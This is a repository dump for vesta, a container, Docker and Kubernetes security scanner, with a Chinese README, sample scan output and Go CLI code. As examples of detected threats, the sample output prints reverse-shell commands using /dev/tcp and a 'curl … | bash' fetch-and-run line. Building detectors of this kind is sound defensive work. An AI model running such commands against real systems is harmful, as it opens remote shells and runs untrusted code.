<img src="https://user-images.githubusercontent.com/35037256/212051309-56468d85-4132-4780-9722-d1c0dcc79b1b.png" width="55%">
<br/>
</p>
<p align="center">
一款集容器扫描,Docker和Kubernetes配置基线检查于一身的工具
</p>
<div align="center">
<strong>
<samp>
[English](README.md) · [简体中文](README.zh-Hans.md)
</samp>
</strong>
</div>
## 概述
vesta是一款集容器扫描,Docker和Kubernetes配置基线检查于一身的工具。检查内容包括镜像或容器中包含漏洞版本的组件,同时根据云上实战渗透经验检查Docker以及Kubernetes的危险配置
<br/>
<br/>
vesta同时也是一个灵活,方便的工具,能够在各种系统上运行,包括但不限于Windows,Linux以及MacOS
<details>
<summary>
<font size="5"><b>Demo</b></font>
</summary>
<samp>

</samp>
</details>
---
## 检查项
> Scan
- 支持输入的方式
- image
- container
- filesystem
- vm (TODO)
- 扫描通过主流安装方法安装程序的漏洞
- apt/apt-get
- rpm
- yum
- dpkg
- 扫描软件依赖的漏洞以及恶意投毒的依赖包
- Java(Jar, War, 以及主流依赖log4j)
- NodeJs(NPM, YARN)
- Python(Wheel, Poetry)
- Golang(Go binary)
- PHP(Composer, 以及主流的PHP框架: laravel, thinkphp, wordpress, wordpress插件等)
- Rust(Rust binary)
- Others(其他可能造成容器逃逸的文件,或潜在的投毒镜像)
> Docker检查
| Supported | Check Item | Description | Severity | Reference |
|-----------|---------------------------|-----------------------------------|---------------------------|---------------------------------------------------------------------------------------------|
| ✔ | PrivilegeAllowed | 危险的特权模式 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Capabilities | 危险capabilities被设置 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Volume Mount | 敏感或危险目录被挂载 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) |
| ✔ | Docker Unauthorized | 2375端口打开并且未授权 | critical | [Ref](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.md) |
| ✔ | Kernel version | 当前内核版本存在逃逸漏洞 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) |
| ✔ | Network Module | Net模式为`host`模式或同时在特定containerd版本下 | critical/medium | |
| ✔ | Pid Module | Pid模式被设置为`host` | high | |
| ✔ | Docker Server version | Docker Server版本存在漏洞 | critical/high/ medium/low | |
| ✔ | Docker env password check | Docker env是否存在弱密码 | high/medium | |
| ✔ | Docker history | Docker layers 存在不安全的命令 | high/medium | |
| ✔ | Docker Backdoor | Docker env command 存在恶意命令 | critical/high | |
| ✔ | Docker Swarm | Docker Swarm存在危险配置信息以及危险的容器检测 | medium/low | |
| ✔ | Docker supply chain | Docker的相关组建存在危险的配置 | critical/high/ medium | [Ref](https://github.com/kvesta/vesta/wiki/Docker-supply-chain-Checking-References) |
---
> Kubernetes检查
| Supported | Check Item | Description | Severity | Reference |
|-----------|----------------------------------------------------------|---------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------|
| ✔ | PrivilegeAllowed | 危险的特权模式 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Capabilities | 危险capabilities被设置 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | PV and PVC | PV 被挂载到敏感目录并且状态为active | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) |
| ✔ | RBAC | K8s 权限存在危险配置 | high/medium/ low/warning | |
| ✔ | Kubernetes-dashborad | 检查 `-enable-skip-login`以及 dashborad的账户权限 | critical/high/ low | [Ref](https://xz.aliyun.com/t/11316#toc-10) |
| ✔ | Kernel version | 当前内核版本存在逃逸漏洞 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) |
| ✔ | Docker Server version (k8s versions is less than v1.24) | Docker Server版本存在漏洞 | critical/high/ medium/low | |
| ✔ | Kubernetes certification expiration | 证书到期时间小于30天 | medium | |
| ✔ | ConfigMap and Secret check | ConfigMap 或者 Secret是否存在弱密码 | high/medium/low | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References) |
| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy过度容忍Pod不安全配置 | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) |
| ✔ | Auto Mount ServiceAccount Token | Pod默认挂载了service token | critical/high/ medium/low | [Ref](https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-service-account/) |
| ✔ | NoResourceLimits | 没有限制资源的使用,例如CPU,Memory, 存储 | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) |
| ✔ | Job and Cronjob | Job或CronJob没有设置seccomp或seLinux安全策略 | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) |
| ✔ | Envoy admin | Envoy admin被配置以及监听`0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) |
| ✔ | Cilium version | Cilium 存在漏洞版本 | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) |
| ✔ | Istio configurations | Istio 存在漏洞版本以及安全配置检查 | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) |
| ✔ | Kubelet 10255/10250 and Kubectl proxy | 存在node打开了10250或者10255并且未授权或 Kubectl proxy开启 | high/medium/ low | |
| ✔ | Etcd configuration | Etcd 安全配置检查 | high/medium | |
| ✔ | Sidecar configurations | Sidecar 安全配置检查以及Env环境检查 | critical/high/ medium/low | |
| ✔ | Pod annotation | Pod annotation 存在不安全配置 | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) |
| ✔ | DaemonSet | DaemonSet存在不安全配置 | critical/high/ medium/low | |
| ✔ | Backdoor | 检查k8s中是否有后门 | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) |
| ✔ | Lateral admin movement | Pod被特意配置到Master节点中 | medium/low | |
## 编译并使用vesta
1. 编译vesta
- 使用`make build` 进行编译
- 从[Releases](https://github.com/kvesta/vesta/releases)上下载可执行文件
2. 使用vesta检查镜像过容器中的漏洞组件版本(使用镜像ID,镜像标签,文件系统路径或使用`-f`文件输入均可)
```bash
$./vesta scan container -f example.tar
2022/11/29 22:50:19 Begin upgrading vulnerability database
2022/11/29 22:50:19 Vulnerability Database is already initialized
2022/11/29 22:50:19 Begin to analyze the layer
2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. If |
| | | | | | | django.utils.text.Truncator's |
| | | | | | | chars() and words() methods |
| | | | | | | were passed the html=True |
| | | | | | | argument, t ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. |
| | | | | | | Due to the behaviour of |
| | | | | | | the underlying HTMLParser, |
| | | | | | | django.utils.html.strip_tags |
| | | | | | | would be extremely ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in |
| | | | | | | Django 1.11.x before 1.11.23, |
| | | | | | | 2.1.x before 2.1.11, and 2.2.x |
| | | | | | | before 2.2.4. Due to an error |
| | | | | | | in shallow key transformation, |
| | | | | | | key and index lookups for |
| | | | | | | django.contrib.postgres.f ... |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in |
| | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', |
| | | | | | | malicious command "curl https://vuln.com | bash" are |
| | | | | | | detected. |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories:
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| 1 | Image History | - / - | - | 0.0 | high | Confusion value found |
| | | | | | | in ENV: 'command' with |
| | | | | | | the plain text 'bash -i |
| | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 |
| | | | | | | '. |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| 2 | | - / - | - | 0.0 | medium | Docker history has found the |
| | | | | | | senstive environment with |
| | | | | | | key 'SECRET_KEY' and value: |
| | | | | | | 123456. |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
```
3. 使用vesta检查Docker的基线配置
也可以在docker中使用
```bash
make run.docker
```
```bash
$./vesta analyze docker
2022/11/29 23:06:32 Start analysing
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
```
4. 使用vesta检查Kubernetes的基线配置
```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
```
## 使用方法
```bash
$./vesta -h
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit
Tutorial is available at https://github.com/kvesta/vesta
Usage:
vesta [command]
Available Commands:
analyze Kubernetes analyze
completion Generate the autocompletion script for the specified shell
help Help about any command
scan Container scan
update Update vulnerability database
version Print version information and quit
Flags:
-h, --help help for vesta
```
## 相关资料
### KCon 2023 兵器谱入选项目
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
================================================
FILE: cli/analyze.go
================================================
package cli
import (
"context"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/internal"
"github.com/spf13/cobra"
)
func analyze() {
analyzeCmd := &cobra.Command{
Use: "analyze",
Short: `Kubernetes and Docker analyze`,
Long: `Examples:
# analyze Docker
$ vesta analyze docker
# Full analyze Kubernetes
$ vesta analyze k8s
# analyze by specifying config
$ vesta analyze k8s --kubeconfig config
# analyze by specifying token
$ vesta analyze k8s --token <token> --server <SEVER HOST> --insecure
# analyze all the namespace
$ vesta analyze k8s -n all
# analyze a special namespace
$ vesta analyze k8s -n namespace`}
dockerAnalyze := &cobra.Command{
Use: "docker",
Short: "analyze docker container",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "output", outfile)
internal.DoInspectInDocker(ctx)
},
}
kubernetesAnalyze := &cobra.Command{
Use: "k8s",
Short: "analyze configure of kubernetes",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "nameSpace", nameSpace)
ctx = context.WithValue(ctx, "kubeconfig", kubeconfig)
ctx = context.WithValue(ctx, "output", outfile)
ctx = context.WithValue(ctx, "token", bearerToken)
ctx = context.WithValue(ctx, "server", serverHost)
ctx = context.WithValue(ctx, "insecure", insecure)
internal.DoInspectInKubernetes(ctx)
},
}
kubernetesAnalyze.Flags().StringVarP(&nameSpace, "ns", "n", "standard", "specific namespace")
kubernetesAnalyze.Flags().StringVar(&kubeconfig, "kubeconfig", "default", "specific configure file")
kubernetesAnalyze.Flags().BoolVar(&insecure, "insecure", false, "skip verify the tls certificate")
kubernetesAnalyze.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
kubernetesAnalyze.Flags().StringVar(&bearerToken, "token", "", "k8s authentication token")
kubernetesAnalyze.Flags().StringVar(&serverHost, "server", "", "k8s server host")
dockerAnalyze.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
analyzeCmd.AddCommand(dockerAnalyze)
analyzeCmd.AddCommand(kubernetesAnalyze)
rootCmd.AddCommand(analyzeCmd)
}
================================================
FILE: cli/banner.go
================================================
package cli
const versions = "v1.0.11"
================================================
FILE: cli/cobra.go
================================================
package cli
import (
"errors"
"fmt"
"strings"
"github.com/spf13/cobra"
)
func NoArgs(cmd *cobra.Command, args []string) error {
if len(args) == 0 {
return nil
}
if cmd.HasSubCommands() {
return errors.New(fmt.Sprintf("\n" + strings.TrimRight(cmd.UsageString(), "\n")))
}
return errors.New(fmt.Sprintf("\"%s\" accepts no argument(s).\nSee '%s --help'.\n\nUsage: %s\n\n%s",
cmd.CommandPath(),
cmd.CommandPath(),
cmd.UseLine(),
cmd.Short))
}
================================================
FILE: cli/command.go
================================================
package cli
import (
"context"
"fmt"
"log"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/pkg/vulnlib"
"github.com/spf13/cobra"
)
var (
rootCmd = &cobra.Command{
Use: "vesta [OPTIONS]",
Short: "Docker and Kubernetes analysis",
Long: `Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit
Tutorial is available at https://github.com/kvesta/vesta`,
}
tarFile string
nameSpace string
kubeconfig string
bearerToken string
serverHost string
outfile string
updateall bool
skipUpdate bool
insecure bool
)
func Execute() error {
versionCmd := &cobra.Command{
Use: "version",
Short: "Print version information and qui",
Args: NoArgs,
Run: func(cmd *cobra.Command, args []string) {
fmt.Println(versions)
},
}
// Upgrade vulnerability database
dataupgradeCmd := &cobra.Command{
Use: "update",
Short: "Update vulnerability database",
Args: NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "reset", updateall)
err := vulnlib.Fetch(ctx)
if err != nil {
log.Printf("Updating vulnerability database failed, error: %v", err)
}
log.Printf(config.Green("Updating vulnerability database success"))
},
}
dataupgradeCmd.Flags().BoolVarP(&updateall, "all", "a", false, "Reset the database")
rootCmd.AddCommand(dataupgradeCmd)
rootCmd.AddCommand(versionCmd)
analyze()
scan()
return rootCmd.Execute()
}
================================================
FILE: cli/scan.go
================================================
package cli
import (
"context"
"fmt"
"io"
"log"
"os"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/internal"
"github.com/kvesta/vesta/pkg/inspector"
"github.com/spf13/cobra"
)
func scan() {
scanCmd := &cobra.Command{
Use: "scan [OPTIONS]",
Short: `Container scan`,
Long: `Examples:
# Scan a container image
$ vesta scan image nginx:latest
# Scan a container image with specific host
$ DOCKER_HOST=<DOCKER host> vesta scan image nginx:latest
# Scan a container image from a tar archive
$ vesta scan image -f python.tar
# Scan a running container
$ vesta scan container nginx1
# Scan a exported container from a tar archive
$ vesta scan container -f nginx.tar
# Scan a filesystem
$ vesta scan fs filepath/`}
imageCheck := &cobra.Command{
Use: "image",
Short: "input from image",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "tarType", "image")
ctx = context.WithValue(ctx, "output", outfile)
ctx = context.WithValue(ctx, "skip", skipUpdate)
if len(args) < 1 && tarFile == "" {
fmt.Println("Require at least 1 argument.")
os.Exit(1)
}
var tarIO []io.ReadCloser
if tarFile == "" {
var err error
tarIO, err = inspector.GetTarFromID(ctx, args[0])
if err != nil {
os.Exit(1)
}
}
if tarFile == "" && len(tarIO) < 1 {
log.Printf("Cannot get tarfile. " +
"Make sure that you have the right image ID " +
"or use -f to get from tar file")
return
}
internal.DoScan(ctx, tarFile, tarIO)
},
}
containerCheck := &cobra.Command{
Use: "container",
Short: "input from inspector",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "tarType", "container")
ctx = context.WithValue(ctx, "output", outfile)
ctx = context.WithValue(ctx, "skip", skipUpdate)
if len(args) < 1 && tarFile == "" {
fmt.Println("Require at least 1 argument.")
os.Exit(1)
}
var tarIO []io.ReadCloser
if tarFile == "" {
var err error
tarIO, err = inspector.GetTarFromID(ctx, args[0])
if err != nil {
os.Exit(1)
}
}
if tarFile == "" && len(tarIO) < 1 {
log.Printf("Cannot get tarfile. " +
"Make sure that you have the right container ID" +
"or use -f to get from tar file")
return
}
internal.DoScan(ctx, tarFile, tarIO)
},
}
fileSystemCheck := &cobra.Command{
Use: "fs",
Short: "input from path of filesystem",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "tarType", "filesystem")
ctx = context.WithValue(ctx, "output", outfile)
ctx = context.WithValue(ctx, "skip", skipUpdate)
if len(args) < 1 {
fmt.Println("Require path of filesystem.")
os.Exit(1)
}
internal.DoScan(ctx, args[0], nil)
},
}
imageCheck.Flags().StringVarP(&tarFile, "file", "f", "", "path of tar file")
imageCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
imageCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating")
containerCheck.Flags().StringVarP(&tarFile, "file", "f", "", "path of tar file")
containerCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
containerCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating")
fileSystemCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating")
fileSystemCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
scanCmd.AddCommand(imageCheck)
scanCmd.AddCommand(containerCheck)
scanCmd.AddCommand(fileSystemCheck)
rootCmd.AddCommand(scanCmd)
}
================================================
FILE: cmd/vesta/main.go
================================================
package main
import (
"log"
"os"
"github.com/kvesta/vesta/cli"
)
func main() {
if err := cli.Execute(); err != nil {
log.Printf("%v", err)
os.Exit(1)
}
}
================================================
FILE: config/conf.go
================================================
package config
import (
"context"
"github.com/fatih/color"
)
var (
Yellow = color.New(color.FgYellow).SprintFunc()
Red = color.New(color.FgRed).SprintFunc()
Green = color.New(color.FgGreen).SprintFunc()
Pink = color.New(color.FgMagenta).SprintFunc()
Ctx = context.Background()
SeverityMap = map[string]int{
"critical": 5,
"high": 4,
"medium": 3,
"low": 2,
"warning": 1,
}
)
================================================
FILE: go.mod
================================================
module github.com/kvesta/vesta
go 1.18
require (
github.com/BurntSushi/toml v0.3.1
github.com/docker/docker v20.10.17+incompatible
github.com/fatih/color v1.13.0
github.com/knqyf263/go-rpmdb v0.0.0-20221030135625-4082a22221ce
github.com/mattn/go-sqlite3 v1.14.15
github.com/microsoft/go-rustaudit v0.0.0-20220808201409-204dfee52032
github.com/sergi/go-diff v1.3.1
github.com/spf13/cobra v1.5.0
github.com/tidwall/gjson v1.14.1
k8s.io/apimachinery v0.22.5
k8s.io/client-go v0.22.5
)
require (
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/go-logr/logr v1.2.2 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/gogo/protobuf v1.3.2 // indirect
github.com/google/go-cmp v0.5.6 // indirect
github.com/google/gofuzz v1.2.0 // indirect
github.com/google/uuid v1.3.0 // indirect
github.com/googleapis/gnostic v0.5.5 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/moby/spdystream v0.2.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/morikuni/aec v1.0.0 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/stretchr/testify v1.8.1 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
github.com/tklauser/numcpus v0.6.0 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/sys v0.2.0 // indirect
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/tools v0.1.1 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
k8s.io/klog/v2 v2.30.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.36.0 // indirect
modernc.org/ccgo/v3 v3.16.6 // indirect
modernc.org/libc v1.16.7 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.1.1 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/sqlite v1.17.3 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
sigs.k8s.io/structured-merge-diff/v4 v4.1.2 // indirect
sigs.k8s.io/yaml v1.2.0 // indirect
)
require (
github.com/Microsoft/go-winio v0.5.2 // indirect
github.com/docker/distribution v2.8.1+incompatible // indirect
github.com/docker/go-connections v0.4.0 // indirect
github.com/docker/go-units v0.4.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/hashicorp/go-version v1.6.0
github.com/imdario/mergo v0.3.12 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/knqyf263/go-rpm-version v0.0.0-20220614171824-631e686d1075
github.com/moby/term v0.0.0-20210619224110-3f7ff695adc6 // indirect
github.com/olekukonko/tablewriter v0.0.5
github.com/opencontainers/go-digest v1.0.0 // indirect
github.com/opencontainers/image-spec v1.0.3-0.20211202183452-c5a74bcca799 // indirect
github.com/shirou/gopsutil v3.21.11+incompatible
github.com/sirupsen/logrus v1.9.0 // indirect
github.com/tklauser/go-sysconf v0.3.11 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/net v0.0.0-20220722155237-a158d28d115b // indirect
golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8 // indirect
golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 // indirect
google.golang.org/appengine v1.6.7 // indirect
google.golang.org/protobuf v1.28.0 // indirect
gopkg.in/yaml.v3 v3.0.1
gotest.tools/v3 v3.3.0 // indirect
k8s.io/api v0.22.5
k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed // indirect
)
replace golang.org/x/sys => golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab
================================================
FILE: go.sum
================================================
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
